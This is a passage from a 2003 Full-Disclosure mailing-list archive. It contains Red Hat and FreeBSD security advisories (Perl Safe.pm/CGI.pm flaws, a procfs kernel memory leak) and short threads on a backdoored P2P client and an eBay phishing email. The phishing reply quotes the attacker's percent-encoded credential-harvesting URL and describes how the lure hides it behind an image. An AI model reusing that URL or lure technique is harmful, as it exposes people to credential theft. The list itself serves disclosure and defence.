03 October 2003 09:20 To: ntbugtraq at listserv.ntbugtraq.com Cc: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Half-Life 2 source code stolen through IE exploit http://www.halflife2.net/forums/showthread.php?s=e6e7d0ce0abe19997425ef50fa7 fe1df&threadid=10692 Regards Thor Larholm PivX Solutions, LLC - Senior Security Researcher http://pivx.com/larholm/unpatched - 31 Unpatched IE Security Vulnerabilities _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From pauls at utdallas.edu Fri Oct 3 15:31:36 2003 From: pauls at utdallas.edu (Schmehl, Paul L) Date: Fri, 3 Oct 2003 09:31:36 -0500 Subject: [Full-Disclosure] OT: Hamilton v. Microsoft lawsuit complaint is now online Message-ID: <871080DEC5874D41B4E3AFC5C400611E03F60C1F@UTDEVS02.campus.ad.utdallas.edu> > -----Original Message----- > From: Jeroen Massar [mailto:jeroen at unfix.org] > Sent: Friday, October 03, 2003 5:16 AM > To: 'Richard M. Smith'; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] OT: Hamilton v. Microsoft > lawsuit complaint is now online > > Quite offtopic. But what I still wonder is why the heck one > isn't allowed to do business and become large. Is it all > jealousy? If they where so bad why do they get the revenue > and not your company producing super duper software? We have a long established tradition in America of rooting for the little guy....until he becomes big and successful. Then we hate him and do everything we can to tear him down and destroy him. And since we've mastered the art of litigation, that's the easiest way to transfer his winnings to the lawyers. :-) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ From bugzilla at redhat.com Fri Oct 3 15:33:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Fri, 3 Oct 2003 10:33 -0400 Subject: [Full-Disclosure] [RHSA-2003:256-02] Updated Perl packages fix security issues. Message-ID: <200310031433.h93EXoP04056@porkchop.devel.redhat.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated Perl packages fix security issues. Advisory ID: RHSA-2003:256-02 Issue date: 2003-09-22 Updated on: 2003-10-03 Product: Red Hat Linux Keywords: Safe.pm CGI.pm Cross references: Obsoletes: RHBA-2002:023 CVE Names: CAN-2002-1323 CAN-2003-0615 - --------------------------------------------------------------------- 1. Topic: Updated Perl packages that fix a security issue in Safe.pm and a cross-site scripting (XSS) vulnerability in CGI.pm are now available. [Updated 3 Oct 2003] Added updated mod_perl packages for Red Hat Linux 7.1, which are required due to the move to Perl version 5.6.1 on this platform. 2. Relevant releases/architectures: Red Hat Linux 7.1 - i386 Red Hat Linux 7.1 for iSeries (64 bit) - ppc Red Hat Linux 7.1 for pSeries (64 bit) - ppc Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Perl is a high-level programming language commonly used for system administration utilities and Web programming. Two security issues have been found in Perl that affect the Perl packages shipped with Red Hat Linux: When safe.pm versions 2.0.7 and earlier are used with Perl 5.8.0 and earlier, it is possible for an attacker to break out of safe compartments within Safe::reval and Safe::rdo by using a redefined @_ variable. This is due to the fact that the redefined @_ variable is not reset between successive calls. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-1323 to this issue. NOTE: This issue does not affect the Perl packages which shipped with Red Hat Linux 9. A cross-site scripting vulnerability was discovered in the start_form() function of CGI.pm. The vulnerability allows a remote attacker to insert a Web script via a URL fed into the form's action parameter. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0615 to this issue. Users of Perl are advised to upgrade to the packages contained within this erratum. For Red Hat Linux 7.1, 7.2, and 7.3, Perl version 5.6.1 contains backported security patches addressing these issues. For Red Hat Linux 8.0 and 9, Perl version 5.8.0 is supplied, which is not vulnerable to issue CAN-2003-1323 and which contains a backported security patch addressing issue CAN-2003-0615. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. If up2date fails to connect to Red Hat Network due to SSL Certificate Errors, you need to install a version of the up2date client with an updated certificate. The latest version of up2date is available from the Red Hat FTP site and may also be downloaded directly from the RHN website: https://rhn.redhat.com/help/latest-up2date.pxt 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 104875 - Latest Perl errata upgrades RH7.1 to 5.6.1 from 5.6.0 and breaks dependencies 6. RPMs required: Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/perl-5.6.1-36.1.71.src.rpm ftp://updates.redhat.com/7.1/en/os/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/perl-5.6.1-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/perl-CGI-2.752-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/perl-CPAN-1.59_54-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/perl-DB_File-1.75-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/perl-NDBM_File-1.75-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/perl-suidperl-5.6.1-36.1.71.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/mod_perl-1.24_01-2.71.2.i386.rpm Red Hat Linux 7.1 for iSeries (64 bit): SRPMS: ftp://updates.redhat.com/7.1/en/os/iSeries/SRPMS/perl-5.6.1-36.1.71.src.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm ppc: ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-5.6.1-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-CGI-2.752-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-CPAN-1.59_54-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-DB_File-1.75-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-NDBM_File-1.75-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/perl-suidperl-5.6.1-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/mod_perl-1.24_01-2.71.2.ppc.rpm Red Hat Linux 7.1 for pSeries (64 bit): SRPMS: ftp://updates.redhat.com/7.1/en/os/pSeries/SRPMS/perl-5.6.1-36.1.71.src.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm ppc: ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-5.6.1-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-CGI-2.752-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-CPAN-1.59_54-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-DB_File-1.75-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-NDBM_File-1.75-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/perl-suidperl-5.6.1-36.1.71.ppc.rpm ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/mod_perl-1.24_01-2.71.2.ppc.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/perl-5.6.1-36.1.72.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/perl-5.6.1-36.1.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/perl-CGI-2.752-36.1.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/perl-CPAN-1.59_54-36.1.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/perl-DB_File-1.75-36.1.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/perl-NDBM_File-1.75-36.1.72.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/perl-suidperl-5.6.1-36.1.72.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/perl-5.6.1-36.1.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/perl-CGI-2.752-36.1.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/perl-CPAN-1.59_54-36.1.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/perl-DB_File-1.75-36.1.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/perl-NDBM_File-1.75-36.1.72.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/perl-suidperl-5.6.1-36.1.72.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/perl-5.6.1-36.1.73.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/perl-5.6.1-36.1.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/perl-CGI-2.752-36.1.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/perl-CPAN-1.59_54-36.1.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/perl-DB_File-1.75-36.1.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/perl-NDBM_File-1.75-36.1.73.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/perl-suidperl-5.6.1-36.1.73.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/perl-5.8.0-88.3.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/perl-5.8.0-88.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/perl-CGI-2.81-88.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/perl-CPAN-1.61-88.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/perl-DB_File-1.804-88.3.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/perl-suidperl-5.8.0-88.3.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/perl-5.8.0-88.3.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/perl-5.8.0-88.3.i386.rpm ftp://updates.redhat.com/9/en/os/i386/perl-CGI-2.81-88.3.i386.rpm ftp://updates.redhat.com/9/en/os/i386/perl-CPAN-1.61-88.3.i386.rpm ftp://updates.redhat.com/9/en/os/i386/perl-DB_File-1.804-88.3.i386.rpm ftp://updates.redhat.com/9/en/os/i386/perl-suidperl-5.8.0-88.3.i386.rpm 7. Verification: MD5 sum Package Name - -------------------------------------------------------------------------- 00b24dc4a3ffcddbfcd4e30232b0b19a 7.1/en/os/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm 0994d9f0d307114b9ff5a3a84c78229b 7.1/en/os/SRPMS/perl-5.6.1-36.1.71.src.rpm 5cd594b4624d5e978ed19bc30e9fe4ed 7.1/en/os/i386/mod_perl-1.24_01-2.71.2.i386.rpm 4e5c17ee59c6f42095eb320c8d0904bd 7.1/en/os/i386/perl-5.6.1-36.1.71.i386.rpm 484f2c937595632e9531b4032e29f50e 7.1/en/os/i386/perl-CGI-2.752-36.1.71.i386.rpm dfc42b708073a61c3d9f9f9b5c1f7959 7.1/en/os/i386/perl-CPAN-1.59_54-36.1.71.i386.rpm 60c0cabb19f411bcd427b7c683b44536 7.1/en/os/i386/perl-DB_File-1.75-36.1.71.i386.rpm 6c3bd193de0b1c8d19ca93838e089078 7.1/en/os/i386/perl-NDBM_File-1.75-36.1.71.i386.rpm ab6f508cd17923a23f64fa73c58d523f 7.1/en/os/i386/perl-suidperl-5.6.1-36.1.71.i386.rpm 00b24dc4a3ffcddbfcd4e30232b0b19a 7.1/en/os/iSeries/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm 0994d9f0d307114b9ff5a3a84c78229b 7.1/en/os/iSeries/SRPMS/perl-5.6.1-36.1.71.src.rpm 2fb2e0a065a0239f7bd768dd025c4f67 7.1/en/os/iSeries/ppc/mod_perl-1.24_01-2.71.2.ppc.rpm b34bc21fdcc6c92a960f3857ad199430 7.1/en/os/iSeries/ppc/perl-5.6.1-36.1.71.ppc.rpm 9d926272a2f9def6a6ed9020ab0d09b3 7.1/en/os/iSeries/ppc/perl-CGI-2.752-36.1.71.ppc.rpm 3149414b45944023821923206640bbda 7.1/en/os/iSeries/ppc/perl-CPAN-1.59_54-36.1.71.ppc.rpm 697f05dfbdcff8e606fc372aaac2b9ee 7.1/en/os/iSeries/ppc/perl-DB_File-1.75-36.1.71.ppc.rpm 98aad53e528f30a469718504f82e820e 7.1/en/os/iSeries/ppc/perl-NDBM_File-1.75-36.1.71.ppc.rpm 0465a61f126fc211977f14f04b36b798 7.1/en/os/iSeries/ppc/perl-suidperl-5.6.1-36.1.71.ppc.rpm 00b24dc4a3ffcddbfcd4e30232b0b19a 7.1/en/os/pSeries/SRPMS/mod_perl-1.24_01-2.71.2.src.rpm 0994d9f0d307114b9ff5a3a84c78229b 7.1/en/os/pSeries/SRPMS/perl-5.6.1-36.1.71.src.rpm 2fb2e0a065a0239f7bd768dd025c4f67 7.1/en/os/pSeries/ppc/mod_perl-1.24_01-2.71.2.ppc.rpm b34bc21fdcc6c92a960f3857ad199430 7.1/en/os/pSeries/ppc/perl-5.6.1-36.1.71.ppc.rpm 9d926272a2f9def6a6ed9020ab0d09b3 7.1/en/os/pSeries/ppc/perl-CGI-2.752-36.1.71.ppc.rpm 3149414b45944023821923206640bbda 7.1/en/os/pSeries/ppc/perl-CPAN-1.59_54-36.1.71.ppc.rpm 697f05dfbdcff8e606fc372aaac2b9ee 7.1/en/os/pSeries/ppc/perl-DB_File-1.75-36.1.71.ppc.rpm 98aad53e528f30a469718504f82e820e 7.1/en/os/pSeries/ppc/perl-NDBM_File-1.75-36.1.71.ppc.rpm 0465a61f126fc211977f14f04b36b798 7.1/en/os/pSeries/ppc/perl-suidperl-5.6.1-36.1.71.ppc.rpm e535d85774a13510bef89bd78b6b216f 7.2/en/os/SRPMS/perl-5.6.1-36.1.72.src.rpm 03ab6415d69d4a102fe234f4b9f22748 7.2/en/os/i386/perl-5.6.1-36.1.72.i386.rpm d585c9e8a58b09b3e5d4f87f1000db36 7.2/en/os/i386/perl-CGI-2.752-36.1.72.i386.rpm 533d11a6fbc56f584aa5cd45a7dde8dd 7.2/en/os/i386/perl-CPAN-1.59_54-36.1.72.i386.rpm ea118d193a1d788bc76917aaed12f111 7.2/en/os/i386/perl-DB_File-1.75-36.1.72.i386.rpm bd85a685357c7c9e06334120bd525915 7.2/en/os/i386/perl-NDBM_File-1.75-36.1.72.i386.rpm 1cd65737a2adb8aff508f4d17d3608c8 7.2/en/os/i386/perl-suidperl-5.6.1-36.1.72.i386.rpm 01e342dd72f0d8aeacd1facfac2534a2 7.2/en/os/ia64/perl-5.6.1-36.1.72.ia64.rpm b91893cb70d3fd4e3283891194747cf0 7.2/en/os/ia64/perl-CGI-2.752-36.1.72.ia64.rpm b5d9998614b01d5238db888b4fddcc9b 7.2/en/os/ia64/perl-CPAN-1.59_54-36.1.72.ia64.rpm 6c91069b1f3128a05a4e7a0250227028 7.2/en/os/ia64/perl-DB_File-1.75-36.1.72.ia64.rpm 2f393ca8ddcd822e863d93ab5e4a1bb2 7.2/en/os/ia64/perl-NDBM_File-1.75-36.1.72.ia64.rpm 72af18dbe6f4667f7a726517b15c1f1a 7.2/en/os/ia64/perl-suidperl-5.6.1-36.1.72.ia64.rpm 7b137d76ed95cbf9eecc9d660417b7ed 7.3/en/os/SRPMS/perl-5.6.1-36.1.73.src.rpm 9a4fa98a57ff3b322ba18d9f0bb1864f 7.3/en/os/i386/perl-5.6.1-36.1.73.i386.rpm 9878354d09a308efcbfe00fd6e7665d6 7.3/en/os/i386/perl-CGI-2.752-36.1.73.i386.rpm ef7af3445fc8c7071febd7fd27a61b45 7.3/en/os/i386/perl-CPAN-1.59_54-36.1.73.i386.rpm 79f963a7050fa706fe684b5e33923fa9 7.3/en/os/i386/perl-DB_File-1.75-36.1.73.i386.rpm 30119242d86c4980cb60d03a0520c5e0 7.3/en/os/i386/perl-NDBM_File-1.75-36.1.73.i386.rpm d169d03e8992fb0b016685522aa20dc9 7.3/en/os/i386/perl-suidperl-5.6.1-36.1.73.i386.rpm e27cfe1c0bc442ce7ebd12928479134e 8.0/en/os/SRPMS/perl-5.8.0-88.3.src.rpm 0ac800e33acab6522169d72dac29721b 8.0/en/os/i386/perl-5.8.0-88.3.i386.rpm cc53faea268b17b68d1494e9cd4d442b 8.0/en/os/i386/perl-CGI-2.81-88.3.i386.rpm fb2a95814dbefd3a0d5f776f6bc47a27 8.0/en/os/i386/perl-CPAN-1.61-88.3.i386.rpm abc1c47518fda72936a247d93a175fe4 8.0/en/os/i386/perl-DB_File-1.804-88.3.i386.rpm 69bc3cf938b5b0e6ad2657ceda85d19b 8.0/en/os/i386/perl-suidperl-5.8.0-88.3.i386.rpm e27cfe1c0bc442ce7ebd12928479134e 9/en/os/SRPMS/perl-5.8.0-88.3.src.rpm 0ac800e33acab6522169d72dac29721b 9/en/os/i386/perl-5.8.0-88.3.i386.rpm cc53faea268b17b68d1494e9cd4d442b 9/en/os/i386/perl-CGI-2.81-88.3.i386.rpm fb2a95814dbefd3a0d5f776f6bc47a27 9/en/os/i386/perl-CPAN-1.61-88.3.i386.rpm abc1c47518fda72936a247d93a175fe4 9/en/os/i386/perl-DB_File-1.804-88.3.i386.rpm 69bc3cf938b5b0e6ad2657ceda85d19b 9/en/os/i386/perl-suidperl-5.8.0-88.3.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available from https://www.redhat.com/security/keys.html You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://marc.theaimsgroup.com/?l=bugtraq&m=105880349328877 http://bugs6.perl.org/rt2/Ticket/Display.html?id=17744 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1323 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0615 9. Contact: The Red Hat security contact is . More contact details at https://www.redhat.com/solutions/security/news/contact.html Copyright 2003 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE/fYiTXlSAg2UNWIIRAr3jAKC3Rt7Rq1MFYgqCfeocSZlyLJO0xwCfdMQj Cdd1OhMfYDZVMygsDsGN0W0= =RuwD -----END PGP SIGNATURE----- From lists at onryou.com Fri Oct 3 15:34:48 2003 From: lists at onryou.com (Cael Abal) Date: Fri, 03 Oct 2003 10:34:48 -0400 Subject: [Full-Disclosure] EartStation 5 P2P application contains malicious code In-Reply-To: <20031003001816.46717.qmail@web60108.mail.yahoo.com> References: <20031003001816.46717.qmail@web60108.mail.yahoo.com> Message-ID: <3F7D8908.109@onryou.com> > Conclusion > ---------- > The people behind ES5 have intentionally added malicious code to ES5. If > you have followed the ES5 discussions on message boards and read what the > ES5 people have said and done (eg. DoS attacking BitTorrent sites), this > comes as no surprise. The question then is "why did they do it?" I'm sure > they won't tell us, but here's a theory: They could be working for the > RIAA, MPAA, or a similar organization. Once they have enough users on their > ES5 network, they would start deleting all copyrighted files they own which > their users are sharing. The users wouldn't know what hit them. Hi nut, Excellent job finding and documenting this feature. As for the developers' motivations, though, I don't think it's necessary to point at colusion with the RIAA/MPAA. In all honesty, I'm surprised we haven't seen *more* backdoors of this type in various popular closed-source, network-aware apps. I don't condone it, but I understand the mentality: "Our network, our rules." Really, all it takes is one rogue developer, coupled with insufficient code review. What does surprise me is that you report only delete functionality and not read/write. If I was going to the trouble to implement naughty features into an app like ES5, that'd be my priority. All this does is reinforce the value of independent code auditing (insert various pro-open-source comments here). take care, C From brobson at fulcrum.com.au Fri Oct 3 15:39:18 2003 From: brobson at fulcrum.com.au (Benjamin M.A. Robson) Date: 04 Oct 2003 00:39:18 +1000 Subject: [Full-Disclosure] Fake ebay password stealer In-Reply-To: <1065186927.3f7d766fb66e2@www.doctorunix.com> References: <1065186927.3f7d766fb66e2@www.doctorunix.com> Message-ID: <1065191958.19449.4.camel@Thomas> Isn't this just the same as the ebayupdates.com scam some 8-9 months ago? The form even looks identical (from what I remember of the form). See: http://www.siliconvalley.com/mld/siliconvalley/4713932.htm or http://news.bbc.co.uk/1/hi/business/2581197.stm BenR. Old news. *yawn* On Fri, 2003-10-03 at 23:15, tom at doctorunix.com wrote: > > > Following on the heels of the "very good looking" microsoft security patch > worm, i am now in posession of an even more convincing "Ebay Request" to > reconfirm your credit card number, PayPal account, password, etc. This > appears to be an excellent fake and we can expect many people to be > tricked. > > To see how good it looks, Checkout this image. (It doesn't look like an > image but it is actually a JPG which hides a link to the attacker's > server.) Many people will be fooled. The url is fake (it is just a > picture after all). Clicking on the real email takes the user to > http://211.170.97.202:5801/%73%65%63%75%72%69%74%79/%69%6E%64%65%78%2E%68%74%6D > > > > > > (Embedded image moved to file: pic18757.gif) > > > tc > > > > > > ------------------------------------------------- > This mail sent through IMP: http://horde.org/imp/ From security-advisories at freebsd.org Fri Oct 3 15:30:36 2003 From: security-advisories at freebsd.org (FreeBSD Security Advisories) Date: Fri, 3 Oct 2003 07:30:36 -0700 (PDT) Subject: [Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-03:17.procfs Message-ID: <200310031430.h93EUa4p045211@freefall.freebsd.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-03:17.procfs Security Advisory The FreeBSD Project Topic: kernel memory disclosure via procfs Category: core Module: sys Announced: 2003-10-03 Credits: Joost Pol Affects: All FreeBSD releases Corrected: 2003-10-03 12:03:50 UTC (RELENG_4, 4.9-RC) 2003-10-03 13:02:17 UTC (RELENG_5_1, 5.1-RELEASE-p9) 2003-10-03 13:02:49 UTC (RELENG_5_0, 5.0-RELEASE-p17) 2003-10-03 13:03:44 UTC (RELENG_4_8, 4.8-RELEASE-p12) 2003-10-03 13:04:19 UTC (RELENG_4_7, 4.7-RELEASE-p22) 2003-10-03 13:05:05 UTC (RELENG_4_6, 4.6-RELEASE-p25) 2003-10-03 13:05:44 UTC (RELENG_4_5, 4.5-RELEASE-p36) 2003-10-03 13:06:32 UTC (RELENG_4_4, 4.4-RELEASE-p46) 2003-10-03 13:07:37 UTC (RELENG_4_3, 4.3-RELEASE-p42) FreeBSD only: YES For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background The process file system, procfs(5), implements a view of the system process table inside the file system. It is normally mounted on /proc, and is required for the complete operation of programs such as ps(1) and w(1). The Linux process file system, linprocfs(5), emulates a subset of Linux's process file system and is required for the complete operation of some Linux binaries. II. Problem Description The procfs and linprocfs implementations use uiomove(9) and the related `struct uio' in order to fulfill read and write requests. Several cases were identified where members of `struct uio' were not properly validated before being used. In particular, the `uio_offset' member may be negative or extremely large, and was used to compute the region of kernel memory to be returned to the user. III. Impact A malicious local user could arrange to use a negative or extremely large offset when reading from a procfs ``file'', causing a system crash, or causing the kernel to return a large portion of kernel memory. Such memory might contain sensitive information, such as portions of the file cache or terminal buffers. This information might be directly useful, or it might be leveraged to obtain elevated privileges in some way. For example, a terminal buffer might include a user-entered password. IV. Workaround Unmount the procfs and linprocfs filesystems if they are mounted. Execute the following command as root: umount -a -t procfs,linprocfs Also, remove or comment out any lines in fstab(5) that reference `procfs' or `linprocfs', so that they will not be re-mounted at next reboot. V. Solution 1) Upgrade your vulnerable system to 4-STABLE, or to the RELENG_5_1, RELENG_4_8, or RELENG_4_7 security branch dated after the correction date. 2) To patch your present system: a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. [FreeBSD 4.3] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs43.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs43.patch.asc [FreeBSD 4.4 and later 4.x] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs4x.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs4x.patch.asc [FreeBSD 5.0] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs50.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs50.patch.asc [FreeBSD 5.1] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs51.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:17/procfs51.patch.asc b) Apply the patch. # cd /usr/src # patch < /path/to/patch c) Recompile your kernel as described in and reboot the system. VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Branch Revision Path - ------------------------------------------------------------------------- RELENG_4 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.9 src/sys/kern/kern_subr.c 1.31.2.3 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.4 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.4 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.4 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.2.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.5 src/sys/sys/uio.h 1.11.2.2 RELENG_5_1 src/UPDATING 1.251.2.11 src/sys/conf/newvers.sh 1.50.2.11 src/sys/fs/procfs/procfs_dbregs.c 1.22.2.1 src/sys/fs/procfs/procfs_fpregs.c 1.28.2.1 src/sys/fs/procfs/procfs_regs.c 1.27.2.1 src/sys/fs/pseudofs/pseudofs_vnops.c 1.35.2.1 src/sys/kern/kern_subr.c 1.74.2.1 src/sys/sys/uio.h 1.27.2.1 RELENG_5_0 src/UPDATING 1.229.2.23 src/sys/conf/newvers.sh 1.48.2.18 src/sys/fs/procfs/procfs_dbregs.c 1.21.2.1 src/sys/fs/procfs/procfs_fpregs.c 1.27.2.1 src/sys/fs/procfs/procfs_regs.c 1.26.2.1 src/sys/fs/pseudofs/pseudofs_vnops.c 1.32.2.1 src/sys/kern/kern_subr.c 1.63.2.1 src/sys/sys/uio.h 1.23.2.1 RELENG_4_8 src/UPDATING 1.73.2.80.2.14 src/sys/conf/newvers.sh 1.44.2.29.2.13 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.8.10.1 src/sys/kern/kern_subr.c 1.31.2.2.6.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.3.8.1 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.3.8.1 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.3.8.1 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.14.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.4.8.1 src/sys/sys/uio.h 1.11.2.1.8.1 RELENG_4_7 src/UPDATING 1.73.2.74.2.25 src/sys/conf/newvers.sh 1.44.2.26.2.24 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.8.8.1 src/sys/kern/kern_subr.c 1.31.2.2.4.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.3.6.1 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.3.6.1 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.3.6.1 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.12.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.4.6.1 src/sys/sys/uio.h 1.11.2.1.6.1 RELENG_4_6 src/UPDATING 1.73.2.68.2.54 src/sys/conf/newvers.sh 1.44.2.23.2.42 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.8.6.1 src/sys/kern/kern_subr.c 1.31.2.2.2.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.3.4.1 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.3.4.1 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.3.4.1 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.10.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.4.4.1 src/sys/sys/uio.h 1.11.2.1.4.1 RELENG_4_5 src/UPDATING 1.73.2.50.2.53 src/sys/conf/newvers.sh 1.44.2.20.2.37 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.8.4.1 src/sys/kern/kern_subr.c 1.31.2.1.2.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.3.2.1 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.3.2.1 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.3.2.1 src/sys/miscfs/procfs/procfs_rlimit.c 1.5.8.1 src/sys/miscfs/procfs/procfs_status.c 1.20.2.4.2.1 src/sys/sys/uio.h 1.11.2.1.2.1 RELENG_4_4 src/UPDATING 1.73.2.43.2.54 src/sys/conf/newvers.sh 1.44.2.17.2.45 src/sys/i386/linux/linprocfs/linprocfs_misc.c 1.3.2.8.2.1 src/sys/kern/kern_subr.c 1.31.6.1 src/sys/miscfs/procfs/procfs_dbregs.c 1.4.2.2.2.2 src/sys/miscfs/procfs/procfs_fpregs.c 1.11.2.2.2.2 src/sys/miscfs/procfs/procfs_regs.c 1.10.2.2.2.2 